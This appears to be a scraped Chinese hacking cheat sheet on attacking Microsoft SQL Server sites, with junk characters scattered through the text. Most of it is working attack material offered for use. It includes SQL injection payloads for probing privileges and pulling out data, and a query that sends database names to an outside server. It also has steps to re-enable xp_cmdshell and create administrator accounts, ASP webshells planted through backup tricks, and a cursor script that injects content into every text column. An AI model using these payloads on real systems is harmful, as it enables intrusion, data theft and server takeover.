</tr>" Y M6 w0 O) e. M* @3 N
<tr> : p- ^, n: q" C, }, |<td>文件路径: 1 f. _# x- l- T: q) j" N4 \ <input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" /> " m( x( ~6 |2 \3 }, q/ l(备份或恢复的文件路径)</td> + x) f* `( I. Z6 W, f8 V7 K</tr>: {, n+ ~) E9 m, A2 t, f) |
<tr> ) C7 B# Q% ]7 f8 e! G2 }0 R<td><% Response.write "本文件绝对路径:" %>; T" [5 q+ B0 q# g! L6 G
<font color="#FF0000">. w, h: E5 J+ T4 ^+ S
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> ; \5 Y" x: g4 G5 P! s- i </font></td> + j3 U& X) W' w( B" p- Y/ [</tr> 4 n5 C. _2 l6 p<tr>' v& K' M2 g4 C& r( x. d
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="确 定" /># T ]3 e* q. j( v" c- P) R
<input name="Submit" type="reset" class="liuyes" size="10" value="重 置" /></td> 9 m4 K: g6 h7 X# V6 S</tr> - M" U( R+ T3 x7 G: I</table> 6 v. l) D$ l: P0 {' x0 k: b9 F/ x</form>2 T6 Z3 _3 X9 D$ v
<table width="686" border="1" align="center"> # K. R5 ]! R, q<tr>, H/ M+ j9 k. `' F
<td>提示信息:<% 0 m4 z; C! n( i% Q' @8 p0 n) Uif request("action")="" then 1 A$ L2 [# n/ y+ f- [9 Mresponse.write "<font color=#ff0000>不用我多说什么了吧!</font>") q7 t$ s$ ?+ n2 {+ r* S1 ]5 `
end if . S e# ?2 S# R! N'SQL Server 数据库的备份与恢复! 6 L2 _+ f) k9 o- ]if request("action")="backupdatabase" Then6 o$ j {. M- g* t3 Z6 g
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act! N$ ]! h3 [' j7 \
sqlserver = trim(request("sqlserver")) 6 M0 f) ~2 r) `/ W! ysqlname = trim(request("sqlname")) / S1 f) }" M) `; ^+ T/ s: n; H: hsqlpassword =trim(request("sqlpassword")). `# U3 a2 v3 a; |' S
sqlLoginTimeout = 157 {) A" l' D1 D' H; ]8 \6 O
databasename = trim(request("databasename"))% @% w. ^, o5 |+ a3 F: O+ I
bak_file = trim(request("bak_file")) 4 L Q4 x; J5 `bak_file = replace(bak_file,"$1",databasename)0 W# ]! O# Q( T( z7 W/ D
act = lcase(request("act")) & b3 v; L; z$ D' t8 h* Nif databasename = "" then+ \) c( M; Y0 m. U- z, y
response.write "<font color=#ff0000>没有输入数据库名称!</font>"- a- x! l5 B1 C8 T. W
else - S( h& M; e* ?$ L6 Gif act = "backup" then: \; o" n7 u/ v
Set srv=Server.createObject("SQLDMO.SQLServer") ' I" Q, ]7 m% Y: M6 S, E. {srv.LoginTimeout = sqlLoginTimeout0 v( S7 G! q* V0 x! L5 t: O
srv.Connect sqlserver,sqlname, sqlpassword & A% }# ]: B2 n1 H$ VSet bak = Server.createObject("SQLDMO.Backup") * k# l! ]: s' w! O) T) C9 Nbak.Database=databasename5 V1 U" P( T+ @0 V4 h
bak.Devices=Files2 Z$ d& i. D& q: P
bak.Action = 02 m& p# L% J/ U0 C
bak.Initialize = 1 ' O9 a, Z& D) e6 I! _( q'bak.Replace = True; m, b( O" U6 Q1 b4 l2 r
bak.Files=bak_file 9 y' w' @0 q* b U/ m' |* m8 Tbak.SQLBackup srv6 P: t1 I4 k. O% O" [& B7 q9 M
if err.number>0 then & _9 v- h" h2 c% Y T# J1 iresponse.write err.number&"<font color=red><br>", c+ ]+ y5 W! a" p
response.write err.description&"</font>" # T0 a& f# M, M+ Tend if ]7 x* e/ n& }) qResponse.write "<font color=green>备份成功!</font>" @. o, h. M% delseif act="restore" then: q8 W5 V4 j l
'恢复时要在没有使用数据库时进行! 8 |- u5 D$ j+ B. W; r; FSet srv=Server.createObject("SQLDMO.SQLServer")" [4 V5 e6 \, P& \9 J, Y' _' @
srv.LoginTimeout = sqlLoginTimeout$ R) f& g) @3 h) _7 y9 x
srv.Connect sqlserver,sqlname, sqlpassword7 n9 ~) z0 j, m0 s* h8 e
Set rest=Server.createObject("SQLDMO.Restore") ( [& O% Q! f) |: Y0 U( k8 R; g9 q' |rest.Action=0 ' full db restore , }1 I3 w* \# \$ o8 Q8 Vrest.Database=databasename # \/ C9 E) X B. ?, A! C4 A, prest.Devices=Files" R/ s, c2 L u7 V. L+ W
rest.Files=bak_file7 t; H8 h( {2 o. O$ S: S! M
rest.ReplaceDatabase=True 'Force restore over existing database # ?$ a) v2 K! Lif err.number>0 then0 K( ?% d$ r q* d# H2 S( L, u
response.write err.number&"<font color=red><br>" 1 F& Q) t6 D, W+ Fresponse.write err.description&"</font>" & G7 G' s$ q6 A& L. a4 `end if( X, [5 X9 H U, U: W; L
rest.SQLRestore srv * u2 L) y/ y5 bResponse.write "<font color=green>恢复成功!</font>" : m3 g/ K/ y2 f; ~1 oelse a: O m8 ?( Q5 @. J, b
Response.write "<font color=red>请选择备份或恢复!</font>"6 c. L2 c# @; U* f; J+ W# e
end if4 |2 W; k8 V& \, Q, B+ D
end if 1 _: T# S6 g- q5 p2 v/ T+ aend if , b3 P# F7 @; K/ v8 ]: x; v%></td> 9 k! Q% [9 m* J& `5 E; E</tr> ) Z' M x7 R3 v, N+ K& w( j" s8 M</table> - B* O2 w7 P2 W$ _, ]- M* G/ g, K</body>* w- \; I/ E% V% T
</html> ! P, l* T9 g, `2 O 5 p5 D8 |6 h* L/ \3 d' g4 A ( L4 a7 y8 C+ E I( t% c5 I
3 D1 T2 Z$ K- q6 z% k: o (2)0 j, l5 O% u5 J' \9 t$ F8 Q
//看看是什么权限的" N8 `7 G# w+ J9 U9 |# u7 i
and 1=(Select IS_MEMBER('db_owner'))) E+ Z: ~7 U& X$ O/ M. E# j) X% @
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--9 l% r3 c7 P; e+ [% r6 F0 s! M' d
3 s$ R0 ?# L- P9 ~0 ?//检测是否有读取某数据库的权限( A: H }1 ?. P6 C# f$ Z- V8 Y3 [! q
and 1= (Select HAS_DBACCESS('master')) 8 h+ U0 `& P' oAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- / i; m. O8 X+ n$ ` 1 @4 n8 e; H4 c: s. L , H9 N1 z, ~* O数字类型 : W& j- F1 O! ~7 w! Band char(124)%2Buser%2Bchar(124)=06 D1 H* _" y+ W
% a4 ~0 b( ?7 s Q5 b
字符类型! v' {. B: q$ z; U4 N
' and char(124)%2Buser%2Bchar(124)=0 and ''='' r, u# h, S! W+ j0 m- ^
. I! h O) @4 Q4 x$ }. h7 I2 I; @( j& T
搜索类型1 h: N M7 x2 w
' and char(124)%2Buser%2Bchar(124)=0 and '%'=' . t" h& F# }- x: E9 ]- X: s ' N8 n7 x% M2 c6 F% {爆用户名. G5 A$ y! r' P- w+ x6 x
and user>0" c3 n7 A9 |2 Z! j1 B! \' O2 W
' and user>0 and ''='+ R/ H3 Q# C6 x2 V" B5 K1 u
: U" @ e+ a8 b- \+ @" @检测是否为SA权限 4 I3 E, h: V5 w/ U4 F$ s: l% W! u2 s, Hand 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $ Z' z- V9 e1 sAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- ! l8 y% l: L ?0 w" ?, g ; Y2 Y8 h- A- v& x7 m检测是不是MSSQL数据库) p" V$ r* R; M. K# T8 d
and exists (select * from sysobjects);--' P- u# L* u, R
9 |, l3 ?+ I# p1 ^) ^7 l
检测是否支持多行 % K) v& L4 Z7 v; P8 ~! X8 ?- };declare @d int;--, D3 H5 z8 X* A
/ X& L6 Q) k& q9 D# y恢复 xp_cmdshell, F8 O7 O' x+ P( u* j
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--- X2 z" Q! k: L$ _0 \
& N5 i9 \ Y Z$ h, u# M5 o
7 h. n/ ^8 B5 i# [3 D
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')4 o" M3 _5 M" s! J' R
! @1 R( n3 C$ u9 qcreate database lcx; ! | t0 Z3 A# r# E7 gCreate TABLE ku(name nvarchar(256) null); 1 I9 N& `. R+ SCreate TABLE biao(id int NULL,name nvarchar(256) null); 1 t1 `1 T+ H& d; P* R5 { ! x% c* ^ F' ?//得到数据库名 ) l! N( ]) ]/ C; f1 M+ r& `: Ginsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases 4 b! l3 Q+ q8 S7 G# E, i' \9 I) ~" U( ~- N
' B0 P. q) q4 h//在Master中创建表,看看权限怎样& B) M8 C* G% m, z
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--- R8 h/ K; l) J& a+ f Z8 O* @9 q8 _7 ^
( N$ `( S6 o, G: D, `5 e# V: w% o
用 sp_makewebtask直接在web目录里写入一句话马:$ L9 P. I. l; q; k' i3 n. M1 K1 e. |/ f http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- " ^$ I- Y' I0 j$ `) V$ v+ O# e 5 T% A. d' F$ R9 f( ?//更新表内容) \0 G7 ~* g% H6 ^
Update films SET kind = 'Dramatic' Where id = 123 4 r' K( f5 |- }' Z/ E" ]3 N/ K L$ V, F+ x5 B" ~1 d+ }& j8 f
//删除内容! J4 y( K& M% H e
delete from table_name where Stockid = 3 , f* S, t: \5 W( m; y2 n4 c Z6 T3 h/ J9 d k) ^; G. I6 M6 e0 i+ V
手工脚本注入 7 \) G2 Q [: [% x" Q
1.判断是否有注入;and 1=1 ;and 1=2 & `" }5 k; O6 a0 s* \& Z
& J/ I- A* p* ?6 E$ v5 h( m
2.初步判断是否是mssql ;and user>0 0 d2 c5 }# ]# E5 I2 [# L: ?0 Q
+ N5 Y+ T4 B, i- _3.注入参数是字符'and [查询条件] and ''=' % H$ v( `/ U' w4 M 5 `4 j9 [8 m/ m" d' r4.搜索时没过滤参数的'and [查询条件] and '%25'=' $ n- K& @7 H% c( s& _1 ~) {
! I6 m* ]' Q @# k @. D4 Q0 ]
5.判断数据库系统 : O% _ G2 y3 H4 I8 f- ]. x1 W;and (select count(*) from sysobjects)>0 mssql 0 o- G! ]3 h7 l- ?. F- I;and (select count(*) from msysobjects)>0 access : ?7 B+ ?) r; {1 c, D! L' b9 g( |
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 % e! D# J: h$ g1 C9 X$ s3 L% J+ Q" k0 O V
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 + i+ H3 P1 t* y3 j- d* x + ]% z# c) @* ]* W3 H! N8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6 u/ v; y1 d* g. h4 q" S
" [* T. B: l9 l# X/ P9.(1)猜字段的ascii值(access) % u+ j1 k( \0 Z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ( _* m8 R, Z' g! W( X5 V6 R
$ k7 q9 n1 x: Y! S$ y(2)猜字段的ascii值(mssql) , v6 z4 J3 W- p0 o, e6 B; l) I
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 / U6 I: C: m, y' `
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10.测试权限结构(mssql) $ j- w+ X& a5 ]) Q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- E5 H: B) Z, g# Z;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 E* L8 O) g: w" G0 ^7 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 m0 S% ~ ]0 @( ^7 i. P3 N
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 `. K C0 r& a t5 X;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- # T" I/ B% ^% `1 r. \
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( |" l+ r' W5 {3 [* |- d" s
;and 1=(select IS_MEMBER('db_owner'));-- 9 Z3 ~9 F- ]" K5 w) }
/ u1 ?% Y) z$ |# g* T: ^11.添加mssql和系统的帐户 $ ~( ^, y2 j# Q& K;exec master.dbo.sp_addlogin username;-- . {. a. b% U3 p6 h# a0 T
* a9 x9 S8 B, X( g# a0 e
;exec master.dbo.sp_password null,username,password;-- ! P; V9 P! a. E+ Z2 A4 a
- d, C9 T, O% }5 j" R3 {;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / N( C% v+ C3 G$ U- z# p# e" Q & w; W) y! z6 w# c;exec master.dbo.xp_cmdshell 'net user username password / D, \8 k! m1 p! g w* ~! ]% J7 ]/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 h. ?1 [/ d: k0 `( J/ `$ V( y6 |6 V( m- d
;exec master.dbo.xp_cmdshell 'net user username password /add';-- , j, w! N6 V) ]' u4 G4 x5 c/ p * l- U# s1 }0 C- e& v8 r;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ q, ?7 ^8 _( z* q4 v3 A" o 4 E' k- h+ M- i" z12.(1)遍历目录 ) T2 l. ~% z/ P. b1 w; s( V/ b6 l! v
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;create table dirs(paths varchar(100), id int) " V# C* Q3 B* k* B3 G
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3 h! c; P! @) \
;and (select top 1 paths from dirs)>0 0 j0 ? x; V$ q" D$ |
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5 p! y/ A3 d, S$ A
5 A' C* o; C+ B
(2)遍历目录 & L8 j( D. U% z. U;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ e0 H5 H. U2 V) r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 * e% T; _( \, v* j3 Q9 b;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 8 s! T+ x: E! y3 w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + s) O. W8 [5 D( z d( e
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' T, U7 |; t5 O# B* g1 ?' D7 P4 [) u' \
13.mssql中的存储过程 ! Z; b5 A9 S. W# Z( b: p8 B* w: T- l: S) R4 P
xp_regenumvalues 注册表根键, 子键 7 {0 s$ P5 R/ ?6 I% M
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! F& {, u+ f: l/ u2 Z. W) Q, S6 @" w1 F
xp_regread 根键,子键,键值名 8 [ T7 r' s1 s: R1 G$ [;exec xp_regread ) U! ?' d# q) G" O" K2 o'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( A8 R& L G+ s1 h
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xp_regwrite 根键,子键, 值名, 值类型, 值 . e0 \( v0 L8 ?6 U. m值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , A ~ A! }* b* f: j6 e;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' m }1 o8 ` u8 G V+ m
1 [) c8 C8 u: M& Bxp_regdeletevalue 根键,子键,值名 : c7 B9 g) q! p/ _& E! C ^" z- ]* m) v Y/ j0 O M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : l L& T/ B S. P8 C! E
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ; |! F& V+ Z$ H1 [
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14.mssql的backup创建webshell 1 y0 c7 \( ?; \+ B3 W+ Duse model 7 R9 Z4 s9 t6 V5 L/ m
create table cmd(str image); % Z) z9 P: @) I* v/ U% m* o' @ _
insert into cmd(str) values (''); ( ] e5 f- \# m: o/ u
backup database model to disk='c:\l.asp'; + g! n1 m8 b( `* p: A/ F3 X: {1 M1 t/ I7 V. b; r+ u
15.mssql内置函数 6 d1 w- u$ v9 a8 ~2 C4 B6 X+ |
;and (select @@version)>0 获得Windows的版本号 6 o9 C5 O {! U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 y/ v! A% N+ T( M
;and (select user_name())>0 爆当前系统的连接用户 7 b' V u6 e: Z2 o# Q' v
;and (select db_name())>0 得到当前连接的数据库 ) |- ^9 Y, Q O: S% D1 k0 ^8 e0 ]2 B' H
16.简洁的webshell & ~% F s6 X2 z @0 P7 p c+ i6 S/ ]! v Y |
use model , y! ?% d6 w4 R8 [- i- Q) s2 d
* ]! V& k1 _- U5 X0 Acreate table cmd(str image); & o7 @" u/ x7 j9 U7 w9 P# V. |& p: b+ W+ ? X2 l
insert into cmd(str) values (''); ) m; h% K3 C2 s& O+ b0 b1 l
# l+ M2 I9 [# {) a: C9 t$ x3 Ebackup database model to disk='g:\wwwtest\l.asp'; ' r8 ?, x8 n; R/ F 9 K1 v3 @+ P, W0 o/ r; E" Q ) j- A6 v( L- _6 M f , H5 F1 e* E1 ]( _( z" {2 q* ?! B0 i# ^( _4 ?) M
(3) & E% A7 P! B' s! I4 T/ Q 3 T$ K" w8 G" y3 ?. U6 T" v. E
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可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。 # x- l* e) h* X& x一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。 ' D8 ?# Q7 O' o) d% {要想让运行命令可以试试这种方法,成功率为五五之数。: r, o7 W" ?8 v/ G
把下面代码复制: ' W+ M7 O3 K. c# ]- h: j<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>) y0 ]/ r) f7 ^9 P D
<%if err then%>3 `* A# r/ i4 z; p
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>/ @/ Q) Y- A% h. b6 i. x# f
<% 9 y- h, k: M9 Y! o1 {1 Oend if$ }) L0 x6 w3 \' z
response.write("<textarea readonly cols=80 rows=20>") $ A& W y1 ^: u7 T1 a4 A2 ZOn Error Resume Next . K1 v1 h' P# l# T. b+ U3 a. A7 @: fresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall 2 l# A) E% i6 d- z) @response.write("</textarea>") \& `/ ~) _' a5 Xresponse.write("<form method='post'>") 0 E+ m2 V6 j3 i3 o# Dresponse.write("<input type=text name='c' size=60><br>")# F% o# c: w: B. G# b
response.write("<input type=submit value='执行'></form>")7 X5 U Y2 p9 \3 t
%>( o- o0 O! h j
1 _' y% }8 L! G# u8 ?5 ~3 p保存为一个asp文件,然后传到网站目录上去 ' W. D- q: {1 O* ~' L2 B. k运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。 9 W. j3 ?% ?9 { o' F y我用此成功运行过cacls命令。; K" P, T7 h/ d' a' Z' o) g
$ n' Y: Q9 R+ j2 ]) y; C [1 F
第二那就是运行时出错,可能限制某些代码执行 9 }! r. I4 L! Q! `' P' ~+ d7 Z . j& {5 C& J- D& \4 T+ Y" q $ R7 A/ Y. ^2 i- ^/ q$ H
(4) ; K8 [8 l/ N' ?( ]1 }* w 1 N( j) X. I- j% t V 9 [$ _' g3 s0 i$ `◆获取数据库名9 ?& \3 W' v; v$ F8 G" ]( j& A
and db_name()=06 x. {5 _0 ?5 ^5 g. x, Q2 B. U8 P
and db_name(0)=0 . M- r+ }/ }1 G p+ ] and db_name(__i__)=0 / b/ Z4 M" _# Q0 {& e and quotename(db_name(__i__))=07 _0 x) L# B1 |6 C) T
5 L! [( X0 R; Z7 s! u/ x+ B
◆获取用户名 1 b7 Z3 W, T5 ~$ o/ I- d$ I( i* u and user=0 $ P1 n0 r% N/ _7 [2 N9 A) b* s % a. O5 i+ y" x/ T7 n/ U6 R◆获取版本信息2 q- P& _& {: U2 ?; y
and @@version=0 0 S0 J, L, Y, d& Y% C8 m0 x! j Q5 |- b& E+ i
◆获取服务器名+ [. N7 @1 O& `+ |
and @@servername=0/ G6 S* D. ~! i3 r
" U% b4 ~. H9 {, M% B2 V' W# i◆获取服务名 3 E( N/ y0 x+ R8 @ and @@servicename=0/ d2 `, U g. B+ O
7 _* R* X! S9 C, p, f& d
◆获取系统用户名 S) T) X3 _4 x and system_user=0 # f4 v$ y- p% D, {( C; _6 ~) N6 G
◆一次性获取所有基本信息0 R" @6 I, ^8 }/ i" u
AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=00 K- u, M/ R, |/ y& a
; e H2 ]; S: _- b5 G# j* t◆一次性探测权限! ]0 _6 d* N& N H5 c: q, k$ J, v
AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0 4 v* t7 R6 P$ ~' }. ? ( J" m$ V# j0 G* |◆获取数据库的数目 7 {8 K# `: Z f! S X AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0 \9 t) @0 L5 i- H6 n$ Z' W7 |) ^0 ?
6 B4 m( n) B& @, d6 v0 n5 l, _; F
◆获取数据库文件名 9 N' J. F% R+ Q and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0& V. X O, a% s3 I/ W
2 w9 r' A& G8 [) V% o◆同时获取数据库名和数据库文件名3 r$ R# G& i0 `( ?; p% k. t9 m
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0" f _- R5 e& r5 C, A# B
" `6 [- ?% p2 E. I1 u) a) `
◆获取数据库的表的数目 * N5 k; F, \3 D, W( K& C( p+ J2 z and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=03 L- R, m8 q$ T9 x0 k
; i) L% G# k0 O3 Q7 |) ^
◆获取数据库的表: C m, Q+ V0 `# _% J/ h
and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0) }* z. ~; x+ S+ E1 ?* ^
and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=0 $ X' @# H/ _4 y3 W) Z6 u 8 s1 N3 S0 R' e% O◆获取表的字段的数目 F( p- _# u. ?: W$ p* \5 Y and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id('<表名>'))=0 / l" t) E& J. Z) R& E 0 i, K; \# b; a* m◆获取数据库表的字段 9 p' x* t8 n6 P and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id('<表名>') order by name) t order by name desc)=0$ W9 q D8 r; }7 }$ ]
and (select col_name(object_id('<表名>'),__i__))=0 & U( Z$ P/ Q4 E I* C7 b# r+ d) p6 h! F" `+ L A3 T# O/ r
◆获取满足条件的表的记录数$ E w- q" x5 Z4 P
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0+ m% N) t2 T- v, ~. E
/ ~3 ^/ ?4 r0 K1 e: H7 e
◆获取数据库的内容 0 y Q0 e6 q$ K" a0 j9 \+ w AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=09 O, F' {$ b, l3 j
: R1 N) Z: M" ` R) q: E# J6 b/ K( f0 J, y
◆基于日志差异备份 + d4 C4 S/ x9 z$ [--1. 进行初始备份' T2 I' ^% S) }, B" w
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<临时文件名:e:\wwwroot\m.asp>' With Init--) L' L& G8 N+ L6 ^6 R7 g
9 v" P% Z$ z% M--2. 插入数据 Q/ m$ V6 A6 R: ]
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--3 S& \9 M8 U L9 ~+ A, J. s
3 `/ j( B8 ^0 p+ @- y3 U
--3. 备份并获得文件,删除临时表 + K* h3 Z- f; o9 ]3 L;Backup Log <数据库名> To Disk = '<要生成的文件名:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--, d$ w7 l6 g8 r, s6 o: U8 @
. |$ D Q1 o& `% }6 [- f% N
◆基于数据库差异备份1 e" h7 U! k3 ~' c& g
1. 进行差异备份准备工作3 ?* o' E% L8 ?( D
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file-- 0 s+ S( Q% j: d* x, S2 ?+ h' ~2 y* ~8 B' y' L6 u
2. 将数据写入到数据库/ |9 {9 m* m# z
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)-- ( X5 ]5 v. `5 I: @ 7 T3 h; R) H) O P3. 备份数据库并作最后的清理工作 $ v+ b& {" p/ e2 [- O;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;-- " {. O+ X# a4 ?3 v , f# w3 Q1 e( m5 q* o◆数据库插马(插指定数据库的指定表的满足条件的记录)1 Y3 I$ h1 O- [5 j
;update <数据库名>..<表名> set <字段名>=<字段名>+'<script>alert("有漏洞啊。")</script>' where <要满足的条件>-- % A0 G* U" m/ A5 P# X! @ ' D, R) r* n! K3 P8 a& J+ g, }( \" l◆数据库批量插马(插所有可插入的字段和记录,危险!!请谨慎操作!!) . k4 W) Q( I5 U% w* y;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- 1 o/ S. O; B- P( `3 B/ o ; K! a; n; l% P8 A. I* ?2 ], A @. B1 u
;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<要插入的内容>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--( |8 V. A: L9 N! h% ~
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◆执行命令行(无结果返回) - T6 i( V$ P/ L+ v6 Q;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--. x5 o0 W4 i3 | v, _